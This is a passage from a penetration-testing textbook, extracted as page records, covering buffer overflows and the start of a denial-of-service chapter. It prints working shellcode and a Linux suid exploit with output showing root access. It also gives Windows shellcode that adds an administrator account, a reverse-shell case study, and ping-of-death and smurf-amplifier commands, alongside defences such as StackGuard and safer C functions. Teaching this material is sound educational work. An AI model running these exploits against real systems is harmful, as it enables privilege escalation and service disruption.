Registers are 32 bit, 16 bit, or 8 bit. The eight 32-bit registers \nare EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP. (The “E” indicates that it is an \nextended pointer used in 32-bit systems.) The general-purpose registers EAX, EBX, ECX, \nand EDX store variables. Although the ESI and EDI registers can also store variables, some \ninstructions use them as source and destination pointers. EBP is the extended base pointer, \nand ESP is the extended stack pointer. The eight 16-bit registers include AX, BX, CX, DX, \nSI, DI, BP, and SP. Eight 8-bit registers are available, too. These are AL, AH, BL, BH, CL, \nCH, DL, and DH. Table 14-1 lists the different general-purpose registers.\nReturn Pointer\nBuffer Variable\nBuffer Variable\nTop of Stack\nBottom of Stack\n0x0004\n0x000F\n" }, { "page_number": 490, "text": "Memory Architecture 463\nTable 14-1\nGeneral-Purpose Registers\nType of General-Purpose Register\nName\nDescription\n32-bit\nEAX\nAccumulator Register. \nStores variables.\nEBX\nBase Register. \nStores variables.\nECX\nCounter Register. \nStores variables.\nEDX\nData Register. \nStores variables.\nESI\nSource Register. \nStores variables. Used \nby some instructions as \na source pointer.\nEDI\nDestination Register. \nStores variables. Used \nby some instructions as \na destination pointer.\nEBP\nExtended Base Pointer. \nPoints to the base of \nthe stack.\nESP\nExtended Stack Pointer. \nHolds the top stack \naddress.\n16-bit\nAX\nBX\nCX\nDX\nDI\nSI\nBP\nSP\n8-bit\nAL\nAH\nBL\nBH\nCL\nCH\nDL\nDH\n" }, { "page_number": 491, "text": "464\nChapter 14: Understanding and Attempting Buffer Overflows\nThere is one special-purpose application register that is noteworthy for discussion here. The \nextended instruction pointer (EIP) is used to contain the return address of the next machine \ninstruction that is to be executed. A buffer overflow attack is concerned not only with \nflooding the stack or heap, but also with injecting code. By changing the value of the EIP \nregister, you can control what code is executed and even insert your own code to execute.\nWhen data is popped from the stack, it is not deleted from the stack. Rather, pop \ninstructions move the pointer down. For example, look at Figure 14-2. Suppose you had \ndata stored in the EAX register at memory address $00FF_FF04. When the pop (EAX) \ninstruction is called, the data is not removed from memory; instead, the ESP points to a \nhigher memory address ($00FF_FF08) before the EAX.\nFigure 14-2 ESP Pointer\nHeaps\nSome applications need a larger buffer than what stack buffers provide. This is where a heap \nbuffer comes in. Heaps are used when you need a larger buffer or when you do not know \nthe size of the objects contained in the buffer. \nHeap overflows work almost identically to those of stack-based overflows. You are \nattempting to overwrite the buffer and execute your own shell code. \nInstead of push and pop operations, however, heaps allocate and unallocate memory. The \nC programming language does this through the malloc() and free() functions, whereas the \nC++ programming language does this through the new() and delete() functions. \nNOPs\nIt is often difficult for programmers to determine the exact memory address of the return \npointer. To help in discovering this address, some programmers put No Operation (NOPs) \ncommands into their code. NOPs instruct the program to move to the next line of \ninstruction. The most common representation for a NOP code is 0x90. \nReturn Pointer\nEBX\nEAX\nTop of Stack\nBefore Data Is Popped\nBottom of Stack\nESP Pointer:\n$00FF_FF04\nReturn Pointer\nEBX\nTop of Stack\nAfter Data Is Popped\nBottom of Stack\nESP Pointer:\n$00FF_FF08\n" }, { "page_number": 492, "text": "Buffer Overflow Examples 465\nWhen you are attempting to exploit a buffer overflow vulnerability, it is likewise difficult to \nascertain the exact location of the return pointer. By stringing together a number of NOP \ncodes, you can extend the size of the exploit with code that can be executed but not \naccomplish anything.\nBuffer Overflow Examples\nThis section covers the following examples of buffer overflows:\n•\nSimple example\n•\nLinux privilege escalation\n•\nWindows privilege escalation \nSimple Example\nExample 14-1 demonstrates how buffer overflows work. This example, when compiled and \nrun on a host, causes a segmentation fault. A segmentation fault occurs when a program \ntries to access memory locations that have not been allocated for the program’s use. Later, \nin the Linux and Windows examples, you will see code that escalates a user’s privilege to \ngain full access on a host.\nExample 14-1 shows you how easy it is to cause a buffer overflow. Although no malicious \ncode was injected, the MyArray array was supposed to contain 4 elements, yet it was filled \nwith 11 (0 to 10). This caused a segmentation fault on the system. As you can see, it does \nnot take much to cause a buffer overflow.\nExample 14-1\nBuffer Overflows: Simple Example\n/* SimpleOverflow.c */\n#include \nint main()\n{\n int MyArray[3];\n int i; \n for (i=0; i<=10; i++) \n {\n MyArray[i] = 10;\n }\n return 0;\n}\nLinux:/home/pentest #gcc SimpleOverflow.c –o SimpleOverflow\nLinux:/home/pentest #./SimpleOverflow\nSegmentation fault (core dumped)\n" }, { "page_number": 493, "text": "466\nChapter 14: Understanding and Attempting Buffer Overflows\nLinux Privilege Escalation\nIn this section, you learn how to gain root privileges on a Linux system. Probably the most \nwell-known exploit is the buffer overflow code detailed in the paper “Stack Smashing for \nFun and Profit,” by Aleph One. Many modified forms of this exploit are available on the \nInternet, but this section focuses on the one by SolarIce. (To read more examples from \nSolarIce, see his website at http://www.covertsystems.com.) \nThis exploit requires two Linux system calls: \n•\nseteuid(0,0)\n•\nexecve(“/bin/sh”, “/bin/sh”, NULL) \nThe latter, /bin/sh, launches a shell. seteuid sets the effective permissions for the shell to \nrun as user root and group root, represented by 0,0. These system calls are made using \nbytecode within a program called shell.c. Bytecode, also called opcode, is a hexadecimal \nrepresentation of a high-level assembly language. This example begins by examining the \nbytecode and then packages it into exploit.c. \nTo get the bytecode, you first program the assembly code into a file called shell.s, as \ndemonstrated in Example 14-2.\nThe first two lines perform an XOR on the EAX and EBX registers. Both registers are reset \nto 0. However, passing 0x0 (NULL) terminates the program so that you cannot just push \n0x0 onto the stack. Instead, you do the functionally equivalent by running an XOR \noperation, which returns 0s onto both EAX and EBX. These two 0s are the arguments \npassed to the setreuid call to set the user ID and group ID to root. \nThe next line reads as follows:\nmovb $0x46, %al\nExample 14-2\nAssembly Code\n.section .text\n.global main\nmain:\n xorl %eax, %eax\n xorl %ebx, %ebx\n movb $0x46, %al\n int $0x80\n xorl %eax, %eax\n xorl %edx, %edx\n pushl %edx\n pushl $0x68732f2f\n pushl $0x6e69622f\n movl %esp, %ebx\n pushl %edx\n pushl %ebx\n movl %esp, %ecx\n movb $0xb, %al\n int $0x80\n" }, { "page_number": 494, "text": "Buffer Overflow Examples 467\nThis moves system call 70 (0x46) into the 8-bit register AL. System call 70 is the setreuid \nfunction. You can view all system calls by examining the /usr/include/asm/unistd.h header \nfile:\nLinux:/home/pentest #./cat /usr/include/asm/unistd.h | grep ’setreuid’\nLinux:/home/pentest #./define _NR_setreuid 70\nAlthough the system call is pushed onto the stack, it is not called yet in the program. System \ncalls in Linux are done with the following instruction, which switches the system to kernel \nmode and runs the system call:\nint $0x80\nExample 14-3 displays the next part of the assembly code, which executes the equivalent C \ncode:\nBegin by clearing the EAX and EDX registers. As before, use XOR instead of pushing \nNULL (0x0) onto the stack because directly pushing NULLs onto a char array causes it to \nterminate.\n xorl %eax, %eax\n xorl %edx, %edx\nNext, push EDX onto the stack:\n pushl %edx\nYou then push /bin/sh onto the stack. Because the stack buffer works in a LIFO fashion, \nyou first push /sh and then push /bin onto the stack. This ensures that it is read as /bin/sh. \nIf you push in the opposite order, it reads /sh/bin, which does not execute.\n pushl $0x68732f2f\n pushl $0x6e69622f\nExample 14-3\nC Code\nint main()\n{\n /* Declare a pointer array called MyArray \n You can name this whatever you like */\n char *MyArray[2]; \n /* Set the first element of the array to /bin/sh */\n MyArray[0] = “/bin/sh”\n /* The next element is NULL (0x0) */\n MyArray[0] = 0x0;\n /* Call execve(argv[0], &argv[], NULL) */\n execve(MyArray[0], MyArray, 0x0);\n /* Exit the main function */\n exit(0);\n}\n" }, { "page_number": 495, "text": "468\nChapter 14: Understanding and Attempting Buffer Overflows\nThe execve operation also requires the pointer address to be passed (&argv). The following \nlines pass the pointer to EBX, a NULL, and send /bin/sh to ecx. \n movl %esp, %ebx\n pushl %edx\n pushl %ebx\n movl %esp, %ecx\nThe next line loads the execve system call to the 8-bit AL register:\n movb $0xb, %al\nFinally, the Linux int $0x80 kernel call is made as before:\n int $0x80\nNow you can compile the code using GNU C Compiler (GCC):\nLinux:/home/pentest #./gcc shell.s –o shell\nYou then test the code by executing the new shell program:\nLinux:/home/pentest #./shell\nsh-2.05b#\nYou now have a root shell, and you need to get the bytecode representation of the assembly \ncode. You can use the objdump utility to do this, running it with the –d switch. Because \nthis command generates a significant amount of output, use grep for the lines found under \nthe main function only, as demonstrated in Example 14-4.\nThe middle column represents the bytecode. You collect the bytecode and prepend each \nhexadecimal character with \\x. Before creating the exploit file, first test this in a simple C \nprogram called shelltest.c, as demonstrated in Example 14-5.\nExample 14-4\nObjdump Utility\nLinux:/home/pentest #./objdump –d ./shell | grep –A 15\\:\n 804830c: 31 c0 xor %eax,%eax\n 804830e: 31 db xor %ebx,%ebx\n 8048310: b0 46 mov $0x46,%al\n 8048312: cd 80 int $0x80\n 8048314: 31 c0 xor %eax,%eax\n 8048316: 31 d2 xor %edx,%edx\n 8048318: 52 push %edx\n 8048319: 68 2f 2f 73 68 push $0x68732f2f\n 804831e: 68 2f 62 69 6e push $0x6e69622f\n 8048323: 89 e3 mov %esp,%ebx\n 8048325: 52 push %edx\n 8048326: 53 push %ebx\n 8048327: 89 e1 mov %esp,%ecx\n 8048329: b0 0b mov $0xb,%al\n 804832b: cd 80 int $0x80\n" }, { "page_number": 496, "text": "Buffer Overflow Examples 469\nNext, compile and run this program to verify that it still provides a root shell:\nLinux:/home/pentest #./gcc shelltest.c –o shelltest\nLinux:/home/pentest #./shelltest\nsh-2.05b#\nNOTE\nBytecode that is used in this fashion to launch a shell is often referred to as shellcode.\nNext, you need to create a program to exploit a vulnerable program using this bytecode. You \ncan exploit any vulnerable program running with the suid bit set to root. For the sake of a \nsimple example, a free vulnerable program called vuln.c is used here. You can obtain similar \ncode from Aleph One’s paper on smash stacking and other websites, but Example 14-6 uses \nthe code that SolarIce provides:\nExample 14-5\nShelltest.c\n/* Shelltest.c */\n#include \n/*Create array of shellcode */\nchar shellcode[] =\n “\\x31\\xc0\\x31\\xdb\\xb0”\n “\\x46\\xcd\\x80\\x31\\xc0”\n “\\x31\\xd2\\x52\\x68\\x2f”\n “\\x2f\\x73\\x68\\x68\\x2f”\n “\\x62\\x69\\x6e\\x89\\xe3”\n “\\x52\\x53\\x89\\xe1\\xb0”\n “\\x0b\\xcd\\x80”;\nint main()\n{\n/* Return the array */\n int *ret;\n ret = (int *)&ret + 2;\n (*ret) = (int)shellcode;\n}\nExample 14-6\nVuln.c\n/*\n SolarIce \n www.covertsystems.org\n*/\n#include \n#include \n#include \n#define LEN 256\nvoid output(char *);\ncontinues\n" }, { "page_number": 497, "text": "470\nChapter 14: Understanding and Attempting Buffer Overflows\nNext, compile the program and set the suid bit so that it runs in the context of root:\nLinux:/home/pentest #gcc vuln.c –o vuln\nLinux:/home/pentest #chmod +s vuln\nNow that you have a vulnerable program running in the context of root, you can exploit it \nusing the shellcode created earlier, as demonstrated in Example 14-7. \nint main(int argc, char **argv) {\n static char buffer[LEN];\n static void (*func) (char *);\n func = output;\n strcpy(buffer, argv[1]);\n func(buffer);\n return EXIT_SUCCESS;\n}\nvoid output(char *string) {\n fprintf(stdout, “%s”, string);\n}\nExample 14-7\nExploit.c\n/*\n exploit.c\n SolarIce \n www.covertsystems.org\n*/ \n#include \n#include \n#include \n#define PROG “./vuln”\n#define BUF_SIZE 256\nunsigned char shellcode[]=\n “\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80” // setreuid(0, 0);\n “\\x31\\xc0\\x50\\x6a\\x68\\x68\\x2f\\x62\\x61\\x73” // execve(“/bin/sh”);\n “\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\\x24”\n “\\x0c\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\\xcd\\x80” \n “x31\\xc0\\xb0\\x01\\xcd\\x80”; // exit(0)\nint main(int argc, char **argv) {\n char buf[BUF_SIZE+4+1];\n char *prog = argc >= 2 ? argv[1] : PROG;\nExample 14-6\nVuln.c (Continued)\n" }, { "page_number": 498, "text": "Buffer Overflow Examples 471\nWhen the program is compiled and run in the context of an ordinary user, you gain root \naccess, as Example 14-8 demonstrates.\nBy wrapping the shellcode into exploit.c and sending it to the vulnerable program (“vuln”), \nyou are able to escalate normal user privileges (andrew) to those of a root user.\nWindows Privilege Escalation\nThis section explores the exploitation of a buffer overflow vulnerability in Windows 2000 \nand Windows XP. The code in Example 14-9, when compiled and run on a Windows \ncomputer, loads netapi32.dll. The netapi32.dll contains the Windows NET API that \napplications on Windows networks use. When you use net use commands from within an \nMS-DOS command shell, you are making a call to this dynamic link library (DLL). A \nvulnerability exists that enables you to overflow the Windows buffer and call the \n char *envp[] = {shellcode, NULL};\n unsigned long addr = 0xbfffffff - 5 -\n strlen(prog) - \n strlen(shellcode);\n char *p;\n p = buf;\n memset(p, ’\\x90’, BUF_SIZE);\n p += BUF_SIZE;\n *((void **)p) = (void *) (addr);\n p += 4;\n *p = ’\\0’;\n execle(prog, prog, buf, NULL, envp);\n perror(“execle()”);\n return(-1);\n}\nExample 14-8\nLaunching Exploit.c\nLinux:/home/pentest >gcc exploit.c –o exploit\nLinux:/home/pentest >whoami\nandrew \nLinux:/home/pentest >id\nuid=500(andrew) gid=100(users) \ngroups=100(users),14(uucp),16(dialout),17(audio),33(video)\nLinux:/home/pentest > ./exploit\nbash-2.05b# whoami \nroot\nbash-2.05b# id\nuid=0(root) gid=100(users)\ngroups=100(users),14(uucp),16(dialout),17(audio),33(video)\nbash-2.05b#\nExample 14-7\nExploit.c (Continued)\n" }, { "page_number": 499, "text": "472\nChapter 14: Understanding and Attempting Buffer Overflows\nNetUserAdd function followed by the NetLocalGroupAddMembers function even if the \nuser does not have Administrator access. The code in Example 14-9 exploits this \nvulnerability and adds a username X with a password of X. The user is a member of the \nAdministrators group.\nAs shown in Figure 14-3, a new user named X has been created. This occurs by executing \nthe code in Example 14-9, even if you do not have administrator privileges when running \nthe program. \nUploading this program onto your target system and executing it allows you to create this \nnew account with full administrative access. \nNow that you have seen some common buffer overflow exploits, the sections that follow \nexamine ways in which you can prevent buffer overflows from happening.\nExample 14-9\nSample Windows Buffer Overflow\nchar code[] =\n“\\x66\\x81\\xec\\x80\\x00\\x89\\xe6\\xe8\\xba\\x00\\x00\\x00\\x89\\x06\\xff\\x36”\n“\\x68\\x8e\\x4e\\x0e\\xec\\xe8\\xc1\\x00\\x00\\x00\\x89\\x46\\x08\\x31\\xc0\\x50”\n”\\x68\\x70\\x69\\x33\\x32\\x68\\x6e\\x65\\x74\\x61\\x54\\xff\\x56\\x08\\x89\\x46”\n”\\x04\\xff\\x36\\x68\\x7e\\xd8\\xe2\\x73\\xe8\\x9e\\x00\\x00\\x00\\x89\\x46\\x0c”\n”\\xff\\x76\\x04\\x68\\x5e\\xdf\\x7c\\xcd\\xe8\\x8e\\x00\\x00\\x00\\x89\\x46\\x10”\n”\\xff\\x76\\x04\\x68\\xd7\\x3d\\x0c\\xc3\\xe8\\x7e\\x00\\x00\\x00\\x89\\x46\\x14”\n”\\x31\\xc0\\x31\\xdb\\x43\\x50\\x68\\x72\\x00\\x73\\x00\\x68\\x74\\x00\\x6f\\x00”\n”\\x68\\x72\\x00\\x61\\x00\\x68\\x73\\x00\\x74\\x00\\x68\\x6e\\x00\\x69\\x00\\x68”\n”\\x6d\\x00\\x69\\x00\\x68\\x41\\x00\\x64\\x00\\x89\\x66\\x1c\\x50\\x68\\x58\\x00”\n”\\x00\\x00\\x89\\xe1\\x89\\x4e\\x18\\x68\\x00\\x00\\x5c\\x00\\x50\\x53\\x50\\x50”\n”\\x53\\x50\\x51\\x51\\x89\\xe1\\x50\\x54\\x51\\x53\\x50\\xff\\x56\\x10\\x8b\\x4e”\n”\\x18\\x49\\x49\\x51\\x89\\xe1\\x6a\\x01\\x51\\x6a\\x03\\xff\\x76\\x1c\\x6a\\x00”\n”\\xff\\x56\\x14\\xff\\x56\\x0c\\x56\\x64\\xa1\\x30\\x00\\x00\\x00\\x8b\\x40\\x0c”\n”\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\x5e\\xc2\\x04\\x00\\x53\\x55\\x56\\x57\\x8b”\n”\\x6c\\x24\\x18\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b”\n”\\x5a\\x20\\x01\\xeb\\xe3\\x32\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\xfc\\x31”\n”\\xc0\\xac\\x38\\xe0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf2\\x3b\\x7c\\x24”\n”\\x14\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01”\n”\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\xeb\\x02\\x31\\xc0\\x89\\xea\\x5f\\x5e\\x5d\\x5b”\n”\\xc2\\x04\\x00”;\nint main(int argc, char **argv)\n{\n int (*funct)();\n funct = (int (*)()) code;\n (int)(*funct)();\n}\n" }, { "page_number": 500, "text": "Preventing Buffer Overflows 473\nFigure 14-3 Creation of ‘X’ User\nPreventing Buffer Overflows\nThe prevention of buffer overflows rests with the initial programmers. You should use \nlanguages that don’t have these vulnerabilities, such as Java, Python, or Perl. However, \nmany thousands of programs and even operating systems are written in C, and many have \nC and C++ functions that do not provide boundary checking as they work with data. This \nsubsequently allows more data to be copied from one variable to another. For example, \nstrcpy() allows more data to be copied to the destination than the destination can actually \nsupport, so the data starts to overflow, as described earlier in the chapter. Therefore, one of \nthe most basic steps is simply not to use strcpy() in your code. Instead, you should use a \nfunction such as strncpy(), which does limit the amount of data being copied. Table 14-2 \nlists some of the functions with similar vulnerabilities that you should avoid, with possible \nalternatives.\n" }, { "page_number": 501, "text": "474\nChapter 14: Understanding and Attempting Buffer Overflows\nMost of these standard functions come with a corresponding counterpart that controls the \nlength of data with which it can work. \nTIP\nYou can use source code tools such as Cigital Security’s ITS4 at http://www.cigital.com/\nits4/ as a smart grep-type program that can assist in finding vulnerable functions.\nTable 14-2\nFunctions to Avoid\nFunction\nAlternative\nfgets\nCheck buffer size first\nfscanf\nAvoid using if possible\ngetopt\nTruncate data before passing it into the function \ngetpass\nTruncate data before passing it into the function \ngets\nFgets\ngetwd\nGetcwd\nscanf\nAvoid using if possible\nsprintf\nsnprintf \nsscanf\nAvoid using if possible\nstrcat\nstrncat \nstrcpy\nStrncpy\nstreadd\nAvoid using if possible, or allocation at least four times the size of the destination \nbuffer is required\nstrecpy\nAvoid using if possible, or allocation at least four times the size of the destination \nbuffer is required\nstrncpy\nCheck buffer size first\nstrtrns\nAvoid using if possible\nsyslog\nTruncate data before passing it into the function \nvfscanf\nAvoid using if possible\nvscanf\nAvoid using if possible\nvsprintf\nMake sure that your buffer is as big as you say it is\nvsscanf\nAvoid using if possible\n" }, { "page_number": 502, "text": "Preventing Buffer Overflows 475\nLibrary Tools to Prevent Buffer Overflows\nTools such as libsafe actually help to track stack pointers and assist in prevention of stack \nsmashing. The libsafe tool from Bell Labs replaces dangerous functions with safer versions \nin the libc library. This helps to track stack return pointers and prevents them from being \noverwritten. If they are overwritten, libsafe terminates the program. libsafe definitely helps \nwith unknown stack problems in applications, but it might degrade your performance \nslightly when you run the application. For more information, see http://\nwww.research.avayalabs.com/project/libsafe/doc/usenix00/paper.html.\nCompiler-Based Solutions to Prevent Buffer Overflows\nYou can now recognize some of the bad functions, but some programs still use them. \nCompiler-based solutions can be of assistance when you use them with the original source \ncode. During compile, they slightly modify the program by adding code. They can use a \nfew different approaches. One style applies boundary checking code to every return pointer. \nHowever, it might make the executable 100% bigger than the original. A program called \nStackGuard (http://immunix.org/) takes another approach. StackGuard works by inserting \nan extra word next to the return address called a canary. This canary word is cross-checked \nwhen the function returns. If the canary value has changed, a stack smash has occurred. If \nthis occurs, StackGuard logs the event to a syslog server and terminates the program. \nUsing a Non-Executable Stack to Prevent Buffer Overflows\nLocking the stack from execution is another approach that you can use to prevent buffer \noverflows. For example, Solar Designer has created a patch for Linux that has the capability \nto prevent code execution from within the stack, which greatly assists in the prevention of \nstack smashing. Some legitimate programs might no longer work, however, because they \nactually try to execute commands from within the stack. For more information, see http://\nwww.openwall.com/linux/.\nNOTE\nYou can find an interesting paper titled “Defeating Solar Designer’s Non-Executable Stack \nPatch” at http://www.insecure.org/sploits/non-executable.stack.problems.html.\nIn addition, you can learn about getting around non-executable stacks (and fix) at http://\nwww.securityfocus.com/archive/1/7480.\nPreventing buffer overflows can be quite tricky if you don’t have control over the source \ncode. Even if you do have control over it, you might not be able to rewrite the entire \napplication or even make it completely free of overflow issues. All you can do is educate \nprogrammers, write more secure programs, and apply the patches to existing applications \nas they become available.\n" }, { "page_number": 503, "text": "476\nChapter 14: Understanding and Attempting Buffer Overflows\nCase Study\nThe following case study displays the basic thought processes of a hacker when \ncontemplating execution of a buffer overflow. \nIn this scenario, Evil Jimmy has stumbled across the new Windows 2000 IIS 5.0 web \nservers of Little Company Network (LCN). He is out to prove that LCN has just made a \nmistake with this implementation of IIS. Jimmy does a little research and finds a handy, \npotential buffer overflow vulnerability in an un-service packed IIS 5.0. This particular \nvulnerability exploits the printer DLL and can allow system-level access to the servers \ndiscovered by Eeye (see http://www.eeye.com/html/Research/Advisories/\nAD20010501.html). \nStep 1\nJimmy goes to the LCN home page to confirm that the server is up and \nrunning. Using Internet Explorer, he connects the server at http://\n192.168.200.21/printers. This is his baseline tool for testing whether the \nserver is online. As he attacks, he always refreshes this browser to see if \nhe has crashed the system. Figure 14-4 displays the LCN printer web \npage.\nFigure 14-4 Printer Web Page\nNOTE\nFor more details on hacking IIS, see “Windows 2000 IIS 5.0 Remote Buffer Overflow \nVulnerability (Remote SYSTEM Level Access)” at http://www.eeye.com/html/Research/\nAdvisories/AD20010501.html.\n" }, { "page_number": 504, "text": "Case Study\n477\nStep 2\nEvil Jimmy connects to the web server using NetCat to pass a large \namount of data to the web server. Jimmy knows of a potential buffer \noverflow attack within the HOST portion of a request (see Figure 14-5).\nFigure 14-5 Using NetCat\nStep 3\nJimmy tests the browser to see if the request succeeded in shutting down \nthe web server. You can see from Figure 14-6 that it was indeed a success.\nFigure 14-6 Web Server Not Responding\n" }, { "page_number": 505, "text": "478\nChapter 14: Understanding and Attempting Buffer Overflows\nTo double check, Jimmy tests the server again and notices that the server \nis back online. This is a good indication that the server service just \nrestarted IIS and continued to run.\nStep 4\nNow that Jimmy knows the server is vulnerable, he would like to create \na reverse shell from the web server to his computer. Needing shellcode to \ndo this, he heads off to a website called Metasploit at http://\nwww.metasploit.com/, which contains several different code samples to \nhelp him. Figure 14-7 shows the Windows Reverse Shell code sample.\nFigure 14-7 Metasploit Example Code\nStep 5\nFrom here, it is easy for Jimmy to combine the shell code into an \nautomated executable that sends the exploit to the web server and creates \na reverse shell back to his computer. \nThis case study shows at a high level a basic attack and buffer overflow test against a server. \nMany specific overflows are documented on the Internet, enabling you to learn and practice \nyour programming skills. As a penetration tester, you can use buffer overflow testing to help \ndetect the ability to crash servers—a tell-tale symptom that a larger attack is possible.\n" }, { "page_number": 506, "text": "Summary 479\nSummary\nIn this chapter, you learned about the dangers of buffer overflow attacks. New buffer \noverflow vulnerabilities are found each week, and it is just a matter of time before exploits \nare found. \nThe best safeguard against buffer overflow attacks on your network is prevention. You must \nensure that programmers are knowledgeable of the security risks inherent in programming \nlanguages like C and C++, and you should use compilers that check for bounds checking. \nWhen using commercial products, you should routinely check for new updates and patches \nand install them as they become available. \nWith these precautionary measures in place, you can minimize the risks of these types of \nattacks on your network.\n" }, { "page_number": 507, "text": "Internet security isn’t lousy; there just isn’t any.\n—Padgett Peterson, Lockheed Martin\n" }, { "page_number": 508, "text": "C H A P T E R 15\nDenial-of-Service Attacks\nIf you have ever had a system crash on you, you know how frustrating it is when you lose \nyour data and are unable to work. This is the goal of a denial-of-service (DoS) attack. A \nDoS attack is one in which a malicious hacker renders a system unusable. He can do this \nthrough overloading a system so that it crashes, resulting in no one being able to access it, \nor by sending traffic with exceptional conditions in a way that the system was never \nprepared to handle. Malicious hackers cause DoS attacks when they are unable to access \ndata otherwise or simply want the notoriety. \nDoS attacks are categorized into one of three types:\n•\nBandwidth attacks\n•\nProtocol exceptions\n•\nLogic attacks\nA bandwidth attack is the oldest and most common DoS attack. In this approach, the \nmalicious hacker saturates a network with data traffic. A vulnerable system or network is \nunable to handle the amount of traffic sent to it and subsequently crashes or slows down, \npreventing legitimate access to users. \nA protocol attack is a trickier approach, but it is becoming quite popular. Here, the \nmalicious attacker sends traffic in a way that the target system never expected, such as when \nan attacker sends a flood of SYN packets. Figure 15-1 illustrates normal TCP traffic, and \nFigure 15-2 shows what happens with a SYN flood protocol attack. \nFigure 15-1\nNormal TCP Traffic \nNOTE\nSYN floods are a unique type of attack in that they are both a protocol attack and a \nbandwidth attack. Some attacks, such as SYN floods, combine multiple tactics.\nSYN/ACK\nSYN\nACK\nSource\nDestination\n" }, { "page_number": 509, "text": "482\nChapter 15: Denial-of-Service Attacks\nFigure 15-2\nSYN Flood\nThe third type of attack is a logic attack. This is the most advanced type of attack because \nit involves a sophisticated understanding of networking. A classic example of a logic attack \nis a LAND attack, where an attacker sends a forged packet with the same source and \ndestination IP address. Many systems are unable to handle this type of confused activity and \nsubsequently crash.\nAlthough a simple DoS attack from a single host might often be effective, it is more \neffective if several hosts are involved in the attack. This is called a Distributed Denial of \nService (DDoS) attack. Many firewalls and intrusion detection systems (IDS) can block a \nsingle host if they detect an active DoS attack, but imagine if 10,000 hosts are involved in \nthe attack. Few firewalls can handle this much traffic. (See Figure 15-3.)\nFigure 15-3\nDistributed Denial of Service (DDoS) Attacks\nSource\nDestination\nSYN\nSYN\nSYN\nSYN\nSYN\nSYN\nSYN\nSYN\nSYN\nSYN/ACK\nSYN/ACK\nSYN/ACK\nSYN/ACK\nTCP Queue Full\nTarget\n" }, { "page_number": 510, "text": "Types of DoS Attacks 483\nAlthough a penetration tester might be asked to test a host against DoS attacks, it is even \nless common to find a penetration tester testing using DDoS attacks. For this reason, this \nchapter focuses primarily on DoS attacks as they relate to penetration testing.\nTypes of DoS Attacks\nThe sections that follow introduce the common types of DoS attacks, many of which can \nbe done as a DDoS attack.\nPing of Death\nA Ping of Death attack uses Internet Control Message Protocol (ICMP) ping messages. \nPing is used to see if a host is active on a network. It also is a valuable tool for \ntroubleshooting and diagnosing problems on a network. As Figure 15-4 illustrates, a normal \nping has two messages:\n•\nEcho request\n•\nEcho reply\nFigure 15-4\nICMP Ping\nExample 15-1 shows normal ping activity.\nExample 15-1\nNormal ping Activity\nC:\\>ping 192.168.10.10\nPinging 192.168.10.10 with 32 bytes of data:\nReply from 192.168.10.10: bytes=32 time=1ms TTL=150\nReply from 192.168.10.10: bytes=32 time=1ms TTL=150\nReply from 192.168.10.10: bytes=32 time=1ms TTL=150\nReply from 192.168.10.10: bytes=32 time=1ms TTL=150\nPing statistics for 192.168.10.10:\n Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\nApproximate round trip times in milli-seconds:\n Minimum = 1ms, Maximum = 1ms, Average = 1ms\nC:\\>\nSource\nDestination\nEcho Request\nEcho Reply\n" }, { "page_number": 511, "text": "484\nChapter 15: Denial-of-Service Attacks\nWith a Ping of Death attack, an echo packet is sent that is larger than the maximum allowed \nsize of 65,536 bytes. The packet is broken down into smaller segments, but when it is \nreassembled, it is discovered to be too large for the receiving buffer. Subsequently, systems \nthat are unable to handle such abnormalities either crash or reboot. \nYou can perform a Ping of Death from within Linux by typing ping –f –s 65537. Note the \nuse of the –f switch. This switch causes the packets to be sent as quickly as possible. Often \nthe cause of a DoS attack is not just the size or amount of traffic, but the rapid rate at which \npackets are being sent to a target. \nYou can also use the following software tools to perform a Ping of Death attack:\n•\nJolt\n•\nSPing\n•\nICMP Bug\n•\nIceNewk\nToday, most hosts are hardened against Ping of Death attacks and even attempt to prevent \nyou from sending one, although you might still find some network appliances that are \nvulnerable.\nSmurf and Fraggle\nA Smurf attack is another DoS attack that uses ICMP. Here, an echo request is sent to a \nnetwork broadcast address with the target as the spoofed source. When hosts receive the \necho request, they send an echo reply back to the target. Although a single echo request is \nprobably insufficient to crash your target, sending multiple Smurf attacks directed at a \nsingle target in a distributed fashion might succeed in crashing it. You can even use a Smurf \nattack on an entire network by specifying several broadcast addresses as the destination \nwith a target network as the source. Figure 15-5 demonstrates a typical Smurf attack.\nFigure 15-5\nSmurf Attack\nAttacker\nVictim\n" }, { "page_number": 512, "text": "Types of DoS Attacks 485\nIf you discover that you cannot send a broadcast ping to a network, you can try using a \nSmurf amplifier instead. A Smurf amplifier is a network that allows you to send broadcast \npings to it and sends back a ping response to your target host on a different network. NMap \nprovides the capability to detect whether a network can be used as a Smurf amplifier. The \nsyntax for testing networks that begin with 192.168.x.x is as follows:\nnmap –n –sP PI –o amplifier.log \n’192.168.1.0,15,16,31,32,47,48,63,64,95,96,111,112,127,128,143,144,159,160,175,176\n, 191,192,207,208,223,224,239,240,255’ \nNOTE\nTwo websites on the Internet are helpful for finding Smurf amplifier-vulnerable networks. \nFor more information, check out http://www.netscan.org and Smurf Amplifier Registry \n(SAR) at http://www.powertech.no/smurf/.\nA variation of the Smurf attack is a Fraggle attack, which uses User Datagram Protocol \n(UDP) instead of ICMP. Fraggle attacks work by using the CHARGEN and ECHO UDP \nprograms that operate on UDP ports 19 and 7, respectively. Both of these applications are \ndesigned to operate much like ICMP pings; they are designed to respond to requesting hosts \nto notify them that they are active on a network. Because you can use both CHARGEN and \nECHO to send a response back to anyone who sends traffic to these ports, you can use them \nto create an infinite loop by sending traffic between the two ports. \nYou can use the following tools to perform a Smurf or Fraggle attack:\n•\nNemesis\n•\nSpike\n•\nAggressor\nLAND Attack\nIn a LAND attack, a TCP SYN packet is sent with the same source and destination address \nand port number. When a host receives this abnormal traffic, it often either slows down or \ncomes to a complete halt as it tries to initiate 